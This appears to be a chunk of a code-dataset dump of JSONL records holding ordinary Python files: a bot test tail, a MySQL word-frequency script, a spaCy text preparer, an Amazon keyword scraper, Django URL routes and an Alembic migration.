release(self2):\n self.fail()\n self.mock(bot_main, 'SINGLETON', Singleton())\n\n self.assertEqual(0, bot_main.main([]))\n\n\nif __name__ == '__main__':\n fix_encoding.fix_encoding()\n if '-v' in sys.argv:\n TestBotMain.maxDiff = None\n logging.basicConfig(\n level=logging.DEBUG if '-v' in sys.argv else logging.CRITICAL)\n unittest.main()\n", "sub_path": "appengine/swarming/swarming_bot/bot_code/bot_main_test.py", "file_name": "bot_main_test.py", "file_ext": "py", "file_size_in_byte": 18588, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "test_env_bot_code.setup_test_env", "line_number": 18, "usage_type": "call"}, {"api_name": "net_utils.TestCase", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.environ.pop", "line_number": 42, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 42, "usage_type": "attribute"}, {"api_name": "tempfile.mkdtemp", "line_number": 43, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 44, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 45, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 47, "usage_type": "call"}, {"api_name": "utils.zip_package", "line_number": 61, "usage_type": "argument"}, {"api_name": "api.bot.Bot", "line_number": 62, "usage_type": "call"}, {"api_name": "api.bot", "line_number": 62, "usage_type": "name"}, {"api_name": "utils.subprocess42", "line_number": 67, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "test_env_bot_code.BOT_DIR", "line_number": 70, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "test_env_bot_code.BOT_DIR", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.environ.pop", "line_number": 79, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 80, "usage_type": "call"}, {"api_name": "utils.file_path.rmtree", "line_number": 81, "usage_type": "call"}, {"api_name": "utils.file_path", "line_number": 81, "usage_type": "name"}, {"api_name": "bot_main.get_dimensions", "line_number": 85, "usage_type": "call"}, {"api_name": "sys.platform", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 94, "usage_type": "attribute"}, {"api_name": "bot_main.get_dimensions", "line_number": 95, "usage_type": "call"}, {"api_name": "bot_main.generate_version", "line_number": 98, "usage_type": "call"}, {"api_name": "api.os_utilities.get_state", "line_number": 102, "usage_type": "call"}, {"api_name": "api.os_utilities", "line_number": 102, "usage_type": "name"}, {"api_name": "bot_main.get_state", "line_number": 108, "usage_type": "call"}, {"api_name": "config.bot_config", "line_number": 125, "usage_type": "name"}, {"api_name": "api.os_utilities", "line_number": 129, "usage_type": "argument"}, {"api_name": "api.bot.Bot", "line_number": 131, "usage_type": "attribute"}, {"api_name": "api.bot", "line_number": 131, "usage_type": "name"}, {"api_name": "bot_main.setup_bot", "line_number": 133, "usage_type": "call"}, {"api_name": "bot_main.THIS_FILE", "line_number": 135, "usage_type": "attribute"}, {"api_name": "bot_main.THIS_FILE", "line_number": 143, "usage_type": "attribute"}, {"api_name": "bot_main.THIS_FILE", "line_number": 145, "usage_type": "attribute"}, {"api_name": "bot_main.get_attributes", "line_number": 155, "usage_type": "call"}, {"api_name": "bot_main.get_bot", "line_number": 170, "usage_type": "call"}, {"api_name": "bot_main.post_error_task", "line_number": 171, "usage_type": "call"}, {"api_name": "api.bot.Bot", "line_number": 193, "usage_type": "attribute"}, {"api_name": "api.bot", "line_number": 193, "usage_type": "name"}, {"api_name": "api.os_utilities", "line_number": 200, "usage_type": "argument"}, {"api_name": "sys.executable", "line_number": 208, "usage_type": "attribute"}, {"api_name": "bot_main.THIS_FILE", "line_number": 208, "usage_type": "attribute"}, {"api_name": "utils.subprocess42.PIPE", "line_number": 211, "usage_type": "attribute"}, {"api_name": "utils.subprocess42", "line_number": 211, "usage_type": "name"}, {"api_name": "utils.subprocess42.STDOUT", "line_number": 212, "usage_type": "attribute"}, {"api_name": "utils.subprocess42", "line_number": 212, "usage_type": "name"}, {"api_name": "utils.subprocess42.PIPE", "line_number": 213, "usage_type": "attribute"}, {"api_name": "utils.subprocess42", "line_number": 213, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 214, "usage_type": "attribute"}, {"api_name": "utils.subprocess42", "line_number": 220, "usage_type": "argument"}, {"api_name": "bot_main.run_bot", "line_number": 236, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 238, "usage_type": "attribute"}, {"api_name": "threading.Event", "line_number": 242, "usage_type": "call"}, {"api_name": "bot_main.poll_server", "line_number": 258, "usage_type": "call"}, {"api_name": "threading.Event", "line_number": 263, "usage_type": "call"}, {"api_name": "bot_main.poll_server", "line_number": 279, "usage_type": "call"}, {"api_name": "time.time", "line_number": 280, "usage_type": "call"}, {"api_name": "threading.Event", "line_number": 285, "usage_type": "call"}, {"api_name": "bot_main.poll_server", "line_number": 301, "usage_type": "call"}, {"api_name": "threading.Event", "line_number": 306, "usage_type": "call"}, {"api_name": "bot_main.poll_server", "line_number": 323, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 327, "usage_type": "attribute"}, {"api_name": "threading.Event", "line_number": 328, "usage_type": "call"}, {"api_name": "bot_main.poll_server", "line_number": 347, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 360, "usage_type": "call"}, {"api_name": "os.path", "line_number": 360, "usage_type": "attribute"}, {"api_name": "sys.executable", "line_number": 363, "usage_type": "attribute"}, {"api_name": "bot_main.THIS_FILE", "line_number": 363, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 366, "usage_type": "call"}, {"api_name": "os.path", "line_number": 366, "usage_type": "attribute"}, {"api_name": "api.os_utilities.get_min_free_space", "line_number": 371, "usage_type": "call"}, {"api_name": "api.os_utilities", "line_number": 371, "usage_type": "name"}, {"api_name": "bot_main.THIS_FILE", "line_number": 371, "usage_type": "attribute"}, {"api_name": "utils.subprocess42.STDOUT", "line_number": 379, "usage_type": "attribute"}, {"api_name": "utils.subprocess42", "line_number": 379, "usage_type": "name"}, {"api_name": "utils.subprocess42.PIPE", "line_number": 380, "usage_type": "attribute"}, {"api_name": "utils.subprocess42", "line_number": 380, "usage_type": "name"}, {"api_name": "sys.platform", "line_number": 381, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 386, "usage_type": "call"}, {"api_name": "utils.subprocess42", "line_number": 389, "usage_type": "argument"}, {"api_name": "bot_main.run_manifest", "line_number": 414, "usage_type": "call"}, {"api_name": "time.time", "line_number": 414, "usage_type": "call"}, {"api_name": "bot_main.run_manifest", "line_number": 436, "usage_type": "call"}, {"api_name": "time.time", "line_number": 436, "usage_type": "call"}, {"api_name": "bot_main.run_manifest", "line_number": 459, "usage_type": "call"}, {"api_name": "time.time", "line_number": 459, "usage_type": "call"}, {"api_name": "utils.subprocess42", "line_number": 478, "usage_type": "argument"}, {"api_name": "bot_main.run_manifest", "line_number": 487, "usage_type": "call"}, {"api_name": "time.time", "line_number": 487, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 499, "usage_type": "call"}, {"api_name": "os.path", "line_number": 499, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 500, "usage_type": "call"}, {"api_name": "os.path", "line_number": 500, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 508, "usage_type": "call"}, {"api_name": "utils.net", "line_number": 511, "usage_type": "argument"}, {"api_name": "bot_main.common", "line_number": 517, "usage_type": "attribute"}, {"api_name": "bot_main.update_bot", "line_number": 520, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 527, "usage_type": "attribute"}, {"api_name": "utils.logging_utils", "line_number": 528, "usage_type": "argument"}, {"api_name": "bot_main.main", "line_number": 543, "usage_type": "call"}, {"api_name": "depot_tools.fix_encoding.fix_encoding", "line_number": 547, "usage_type": "call"}, {"api_name": "depot_tools.fix_encoding", "line_number": 547, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 548, "usage_type": "attribute"}, {"api_name": "{'bot_config': 'config.bot_config'}.maxDiff", "line_number": 549, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 550, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 551, "usage_type": "attribute"}, {"api_name": "logging.DEBUG", "line_number": 551, "usage_type": "attribute"}, {"api_name": "logging.CRITICAL", "line_number": 551, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 552, "usage_type": "call"}]} +{"seq_id": "523207446", "text": "import os\nimport obo\nimport MySQLdb\n\ncnx = MySQLdb.connect(\n os.environ.get('MYSQL_HOST'),\n os.environ.get('MYSQL_USER'),\n os.environ.get('MYSQL_PASSWORD'),\n os.environ.get('MYSQL_DATABASE')\n)\ncursor = cnx.cursor()\n\nquery = (\"SELECT id, body FROM articles WHERE symbol = %s AND scraped = 1\")\nsymbol = 'MAUV'\n\ncursor.execute(query, [symbol])\n\ngains = {}\nlosses = {}\n\nfor (attr) in cursor:\n id = attr[0]\n gain = id % 2 == 0\n text = attr[1].lower()\n wordlist = obo.stripNonAlphaNum(text)\n wordlist = obo.removeStopwords(wordlist, obo.stopwords)\n dict = obo.wordListToFreqDict(wordlist)\n \"\"\"\n sorteddict = obo.sortFreqDict(dict)\n for s in sorteddict: print(str(s))\n \"\"\"\n results = gains if gain else losses\n for key in dict:\n if not key in results:\n results[key] = 0\n results[key] += dict[key]\n\ncursor.close()\ncnx.close()\n\ntotals = {}\nfor key in gains:\n if not key in totals:\n totals[key] = 0\n totals[key] += gains[key]\nfor key in losses:\n if not key in totals:\n totals[key] = 0\n totals[key] += losses[key]\ngainPercentages = {}\nlossPercentages = {}\nfor key in gains:\n gainPercentages[key] = float(gains[key]) / totals[key]\nfor key in losses:\n lossPercentages[key] = float(losses[key]) / totals[key]\n\nprint(gainPercentages, lossPercentages)\n", "sub_path": "stats/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1341, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "MySQLdb.connect", "line_number": 5, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 6, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 7, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 8, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 9, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "obo.stripNonAlphaNum", "line_number": 25, "usage_type": "call"}, {"api_name": "obo.removeStopwords", "line_number": 26, "usage_type": "call"}, {"api_name": "obo.stopwords", "line_number": 26, "usage_type": "attribute"}, {"api_name": "obo.wordListToFreqDict", "line_number": 27, "usage_type": "call"}]} +{"seq_id": "219073040", "text": "#!/usr/bin/env python3\n\nfrom argparse import ArgumentParser, FileType\nfrom tqdm import tqdm\nfrom pathlib import Path\nimport spacy\n\n\ndef main(input_folder: str, ouput_file: FileType, trim: bool):\n nlp = spacy.load('en_core_web_lg', disable=['tokenizer', 'tagger', 'ner', 'textcat'])\n nlp.max_length = 2000000\n text_to_write = []\n for file in tqdm(input_folder.glob(\"*.txt\")):\n with open(file, 'r') as f:\n raw_text = f.read()\n text = raw_text.replace('\\n\\n', ' ')\n doc = nlp(text)\n if trim:\n sentences = [sent.string.strip() for sent in doc.sents if len(sent.string.strip())>15]\n else:\n sentences = [sent.string.strip() for sent in doc.sents]\n text_to_write.append('\\n'.join(sentences))\n ouput_file.write('\\n\\n'.join(text_to_write))\n\n\nargs = ArgumentParser()\nargs.add_argument(\n '--input_folder',\n type=Path,\n default='processed_texts',\n)\nargs.add_argument(\n '--ouput_file',\n type=FileType(mode='w', encoding='utf-8'),\n default='all_texts.txt',\n)\nargs.add_argument(\n '--trim',\n action='store_true',\n)\nmain(**vars(args.parse_args()))\n", "sub_path": "pytorch-pretrained-BERT/pytorch_pretrained_bert/prepare_all_texts_for_bert.py", "file_name": "prepare_all_texts_for_bert.py", "file_ext": "py", "file_size_in_byte": 1145, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.FileType", "line_number": 9, "usage_type": "name"}, {"api_name": "spacy.load", "line_number": 10, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 13, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 26, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 29, "usage_type": "name"}, {"api_name": "argparse.FileType", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "65917884", "text": "import csv\r\nimport random\r\nimport re\r\nimport os\r\nfrom datetime import datetime\r\nimport math\r\n\r\nfrom amazon_module import amazon_module\r\n\r\ndef keyword_to_long_tail_keyword_list(keyword):\r\n try:\r\n # print(\"keyword:\", keyword)\r\n # print(\"-\" * (len(\"keyword: \") + len(keyword)))\r\n keyword = keyword.replace(\" \", \"%20\")\r\n keyword = keyword.replace(\"'\", \"%27\")\r\n if keyword[0] == \"*\":\r\n url_head = \"https://completion.amazon.com/search/complete?method=completion&mkt=1&r=X8QW0QJV6AP2J4TJAZM4&s=140-5560419-0294343&c=&p=Gateway&l=en_US&b2b=0&fresh=0&sv=desktop&client=amazon-search-ui&x=String&search-alias=aps&ks=8&q=*&qs=\"\r\n url_tail = \"&cf=1&fb=1&sc=1&\"\r\n else:\r\n url_head = \"https://completion.amazon.com/search/complete?method=completion&mkt=1&r=X8QW0QJV6AP2J4TJAZM4&s=140-5560419-0294343&c=&p=Gateway&l=en_US&b2b=0&fresh=0&sv=desktop&client=amazon-search-ui&x=String&search-alias=aps&ks=8&q=\"\r\n url_tail = \"&cf=1&fb=1&sc=1&\"\r\n\r\n url = url_head + keyword + url_tail\r\n soup = amazon_module.download_soup_by_url(url)\r\n\r\n soup_string = soup.get_text()\r\n soup_string = soup_string[13:-11]\r\n soup_list = eval(soup_string)\r\n\r\n long_tail_keyword_list = []\r\n for long_tail_keyword in soup_list[1]:\r\n # print(long_tail_keyword)\r\n long_tail_keyword_list.append(long_tail_keyword)\r\n return(long_tail_keyword_list)\r\n except:\r\n print(\"can't find long tail words\")\r\n\r\ndef keyword_to_mw_rank(keyword):\r\n try:\r\n keyword = keyword.replace(\" \", \"%20\")\r\n url = \"https://www.merchantwords.com/search/us/\" + keyword + \"/sort-highest\"\r\n soup = amazon_module.download_soup_by_url(url)\r\n\r\n trs = soup.find(\"table\").find(\"tbody\").find_all(\"tr\")\r\n\r\n node_list = []\r\n for tr in trs:\r\n # print(tr.get_text())\r\n try:\r\n blurry_words = tr.find(\"span\").get_text()\r\n # print(blurry_words)\r\n\r\n num = tr.find_all(\"td\")[1].get_text()\r\n num = num.replace(\",\", \"\")\r\n # print(num)\r\n\r\n node = tr.find(\"small\")\r\n node = str(node)\r\n node = node.replace(\"
\", \"; \")\r\n node = node.replace(\"\", \"\")\r\n node = node.replace(\"\", \"\")\r\n node = node.replace(\"&\", \"&\")\r\n # print(node)\r\n\r\n node_tuple = (blurry_words, num, node)\r\n node_list.append(node_tuple)\r\n except:\r\n pass\r\n\r\n # print(node_list[0][1])\r\n return(node_list[0][1])\r\n except:\r\n print(\"fail to get merchantwords rank!\")\r\n\r\ndef keyword_to_amz_rlt(keyword):\r\n try:\r\n # print(\"keyword:\", keyword)\r\n url_head = \"https://www.amazon.com/s/ref=nb_sb_noss/147-7192934-0083761?url=search-alias%3Daps&field-keywords=\"\r\n url = url_head + keyword\r\n\r\n soup = amazon_module.download_soup_by_url(url)\r\n\r\n results = soup.find(id=\"s-result-count\").get_text()\r\n results_text = results.split(\":\")[0]\r\n # print(results_text)\r\n\r\n m = re.search(r\"of (.*?) results\", results)\r\n results = m.group()\r\n results = results.replace(\"of \", \"\").replace(\" results\", \"\").replace(\",\", \"\")\r\n # print(results)\r\n return(results)\r\n except:\r\n print(\"fail to find results\")\r\n\r\ndef calc_star(mw_rank, amz_rlt, index):\r\n\r\n if int(mw_rank) > 0 and int(amz_rlt) > 0 and int(index) +1 > 0:\r\n # merchantwords 搜索量越大越好\r\n mw_weight = math.log(int(mw_rank)/1000, 10)\r\n # 搜索量与amazon商品数比值越大越好\r\n ratio_weight = math.log(int(mw_rank)/int(amz_rlt)/10, 2)\r\n # 长尾词顺序越靠前越好，注意：index是从0开始\r\n if int(index) + 1 <= 4:\r\n index_weight = 3\r\n elif int(index) + 1 <=7:\r\n index_weight = 1.5\r\n else:\r\n index_weight = 1\r\n # 先暂时简单的求积\r\n weight = mw_weight * ratio_weight * index_weight\r\n # 权重换算成星级，5最好，0最差\r\n star = weight/3.0\r\n star = round(star)\r\n star = min(star, 5)\r\n star = max(star, 0)\r\n # 返回字符串格式的星级\r\n return str(star)\r\n else:\r\n return \"None\"\r\n\r\ndef dict_list_to_csv_file(dict_list, csv_file_name, csv_folder):\r\n try:\r\n headers = []\r\n for i in dict_list[0]:\r\n headers.append(i)\r\n except:\r\n print(\"FAIL to find csv header tags\")\r\n\r\n try:\r\n csv_file_path = csv_folder + \"/\" + csv_file_name\r\n\r\n if not os.path.exists(csv_folder):\r\n os.mkdir(csv_folder)\r\n print(\"SUCCESS to create folder\")\r\n\r\n if not os.path.isfile(csv_file_path):\r\n try:\r\n with open(csv_file_path, 'w', encoding='utf8', newline='') as f:\r\n f_csv = csv.DictWriter(f, headers)\r\n f_csv.writeheader()\r\n print(\"SUCCESS to write csv header...\")\r\n except:\r\n print(\"FAIL to write csv header!\")\r\n\r\n try:\r\n with open(csv_file_path, 'a', encoding='utf8', newline='') as f:\r\n f_csv = csv.DictWriter(f, headers)\r\n f_csv.writerows(dict_list)\r\n print(\"SUCCESS to write csv content...\")\r\n except:\r\n print(\"FAIL to write csv content!\")\r\n except:\r\n pass\r\n\r\n# 注意：关键词头部加*号，或者尾部加空格，amazon搜索框下拉菜单显示的词不一样\r\nkeyword_list = [\r\n \"dog toy\",\r\n \"dog toy \",\r\n \"*dog toy\",\r\n]\r\n\r\ncsv_folder = \"long_tail_keyword_folder\"\r\n\r\n# 手动指定csv文件名，每次生成的数据都写入到同一个csv文件\r\ncsv_file_name = \"long_tail_keyword.csv\"\r\n\r\n# 用日期命名csv文件，每次都会创建一个新的csv文件\r\n# csv_file_name = str(datetime.now()[:19]).replace(\":\", \";\").strip().split(\".\")[0]\r\n\r\nstart_time = str(datetime.now())[:19]\r\nprint(\"start_time:\", start_time)\r\n\r\nprint(\"根据给定的关键词，获取亚马逊搜索框的提示词做为长尾词；\")\r\n# 没有登录merchantwords付费账号，默认抓取第一条记录的数字作为搜索量\r\nprint(\"获取长尾词的merchantwords搜索量(mw_rank)，亚马逊搜索框下显示的商品数(amz_rlt)，以及两者的比值(ratio)；\")\r\nprint(\"星级star是根据mw_rank, amz_rlt, 搜索词中的排序index综合得出，仅供参考；\")\r\nprint(\"\")\r\n\r\nfor keyword in keyword_list:\r\n long_tail_keyword_dict_list = []\r\n try:\r\n first_col_width = len(keyword)\r\n try:\r\n long_tail_keyword_list = keyword_to_long_tail_keyword_list(keyword)\r\n\r\n second_col_width = len(max(long_tail_keyword_list, key = len))\r\n second_col_width = max(second_col_width, len(\"long_tail_keyword\"))\r\n\r\n print('{:>{first_col_width}} | {:>{second_col_width}} | {:>8} | {:>7} | {:>7} | {:>4}'.format(\"keyword\", \"long_tail_keyword\", \"mw_rank\", \"amz_rlt\", \"ratio\", \"star\", first_col_width=first_col_width, second_col_width=second_col_width))\r\n # print('-' * (first_col_width + second_col_width + 8 + 7 + 7 + 4 + 3 * 5))\r\n print('{:>{first_col_width}} | {:>{second_col_width}} | {:>8} | {:>7} | {:>7} | {:>4}'.format(\"-\" * first_col_width, \"-\" * second_col_width, \"-\" * 8, \"-\" * 7, \"-\" * 7, \"-\" * 4, first_col_width=first_col_width, second_col_width=second_col_width))\r\n\r\n for index, long_tail_keyword in enumerate(long_tail_keyword_list):\r\n try:\r\n # merchantwords rank\r\n mw_rank = keyword_to_mw_rank(long_tail_keyword)\r\n except:\r\n mw_rank = \"None\"\r\n\r\n try:\r\n # amazon search results\r\n amz_rlt = keyword_to_amz_rlt(long_tail_keyword)\r\n amz_rlt = amz_rlt.replace(\"over \", \"\").strip()\r\n except:\r\n amz_rlt = \"None\"\r\n\r\n try:\r\n ratio = int(mw_rank)/int(amz_rlt)\r\n ratio = (ratio*100)\r\n ratio = str(ratio).split(\".\")[0]\r\n ratio = str(int(ratio)/100)\r\n except:\r\n ratio = \"None\"\r\n\r\n try:\r\n # star = random.randint(0, 5)\r\n star = calc_star(mw_rank, amz_rlt, index)\r\n except:\r\n star = \"None\"\r\n\r\n print('{:>{first_col_width}} | {:>{second_col_width}} | {:>8} | {:>7} | {:>7} | {:>4}'.format(keyword, long_tail_keyword, mw_rank, amz_rlt, ratio, star, first_col_width=first_col_width, second_col_width=second_col_width))\r\n\r\n long_tail_keyword_dict = {\r\n \"datetime\": str(datetime.now())[:19],\r\n \"keyword\": keyword,\r\n \"long_tail_keyword\": long_tail_keyword,\r\n \"mw_rank\": mw_rank,\r\n \"amz_rlt\": amz_rlt,\r\n \"ratio\": ratio,\r\n \"star\": star,\r\n\r\n }\r\n long_tail_keyword_dict_list.append(long_tail_keyword_dict)\r\n except:\r\n pass\r\n\r\n print(\"\")\r\n except:\r\n pass\r\n\r\n try:\r\n dict_list_to_csv_file(long_tail_keyword_dict_list, csv_file_name, csv_folder)\r\n except:\r\n pass\r\n\r\n\r\n\r\n\r\n", "sub_path": "find_valuable_long_tail_keywords_V2.py", "file_name": "find_valuable_long_tail_keywords_V2.py", "file_ext": "py", "file_size_in_byte": 9498, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "amazon_module.amazon_module.download_soup_by_url", "line_number": 24, "usage_type": "call"}, {"api_name": "amazon_module.amazon_module", "line_number": 24, "usage_type": "name"}, {"api_name": "amazon_module.amazon_module.download_soup_by_url", "line_number": 42, "usage_type": "call"}, {"api_name": "amazon_module.amazon_module", "line_number": 42, "usage_type": "name"}, {"api_name": "amazon_module.amazon_module.download_soup_by_url", "line_number": 81, "usage_type": "call"}, {"api_name": "amazon_module.amazon_module", "line_number": 81, "usage_type": "name"}, {"api_name": "re.search", "line_number": 87, "usage_type": "call"}, {"api_name": "math.log", "line_number": 99, "usage_type": "call"}, {"api_name": "math.log", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "csv.DictWriter", "line_number": 139, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 147, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 170, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 170, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 224, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 224, "usage_type": "name"}]} +{"seq_id": "386488004", "text": "from django.urls import path\nimport api.views as apis\n\n\nurlpatterns = [\n path('login', apis.LoginAPIView.as_view()),\n path('signup/sp', apis.ServiceProviderSignUpAPIView.as_view()),\n path('signup/client', apis.ClientSignUpAPIView.as_view()),\n path('client/', apis.ClientDataRetrieveAPIView.as_view()),\n path('client/update', apis.ClientUpdateAPIView.as_view()),\n path('sp/', apis.ServiceProviderDataRetrieveAPIView.as_view()),\n path('sp/update', apis.ServiceProviderUpdateAPIView.as_view()),\n path('service/create', apis.ServiceCreateAPIView.as_view()),\n path('service/update', apis.ServiceUpdateAPIView.as_view()),\n path('service/list', apis.ServiceListAPIView.as_view()),\n path('subservice/create', apis.SubServiceCreateAPIView.as_view()),\n path('service/', apis.ServiceDataRetrieveAPIView.as_view()),\n]", "sub_path": "Backend/api/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 886, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "api.views.LoginAPIView.as_view", "line_number": 6, "usage_type": "call"}, {"api_name": "api.views.LoginAPIView", "line_number": 6, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 6, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "api.views.ServiceProviderSignUpAPIView.as_view", "line_number": 7, "usage_type": "call"}, {"api_name": "api.views.ServiceProviderSignUpAPIView", "line_number": 7, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "api.views.ClientSignUpAPIView.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "api.views.ClientSignUpAPIView", "line_number": 8, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "api.views.ClientDataRetrieveAPIView.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "api.views.ClientDataRetrieveAPIView", "line_number": 9, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "api.views.ClientUpdateAPIView.as_view", "line_number": 10, "usage_type": "call"}, {"api_name": "api.views.ClientUpdateAPIView", "line_number": 10, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "api.views.ServiceProviderDataRetrieveAPIView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "api.views.ServiceProviderDataRetrieveAPIView", "line_number": 11, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "api.views.ServiceProviderUpdateAPIView.as_view", "line_number": 12, "usage_type": "call"}, {"api_name": "api.views.ServiceProviderUpdateAPIView", "line_number": 12, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "api.views.ServiceCreateAPIView.as_view", "line_number": 13, "usage_type": "call"}, {"api_name": "api.views.ServiceCreateAPIView", "line_number": 13, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "api.views.ServiceUpdateAPIView.as_view", "line_number": 14, "usage_type": "call"}, {"api_name": "api.views.ServiceUpdateAPIView", "line_number": 14, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 14, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "api.views.ServiceListAPIView.as_view", "line_number": 15, "usage_type": "call"}, {"api_name": "api.views.ServiceListAPIView", "line_number": 15, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "api.views.SubServiceCreateAPIView.as_view", "line_number": 16, "usage_type": "call"}, {"api_name": "api.views.SubServiceCreateAPIView", "line_number": 16, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "api.views.ServiceDataRetrieveAPIView.as_view", "line_number": 17, "usage_type": "call"}, {"api_name": "api.views.ServiceDataRetrieveAPIView", "line_number": 17, "usage_type": "attribute"}, {"api_name": "api.views", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "304638243", "text": "\"\"\"empty message\n\nRevision ID: dc9b9d96b9db\nRevises: 7427cd48eada\nCreate Date: 2016-07-15 11:24:50.361308\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'dc9b9d96b9db'\ndown_revision = '7427cd48eada'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('servers', sa.Column('created_by_id', sa.Integer(), nullable=True))\n op.create_foreign_key('servers_created_by_id_fkey', 'servers', 'user', ['created_by_id'], ['id'])\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint('servers_created_by_id_fkey', 'servers', type_='foreignkey')\n op.drop_column('servers', 'created_by_id')\n ### end Alembic commands ###\n", "sub_path": "hubserver/migrations/versions/dc9b9d96b9db_.py", "file_name": "dc9b9d96b9db_.py", "file_ext": "py", "file_size_in_byte": 807, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "alembic.op.add_column", "line_number": 19, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 19, "usage_type": "call"}, {"api_name": "alembic.op.create_foreign_key", "line_number": 20, "usage_type": "call"}, {"api_name": 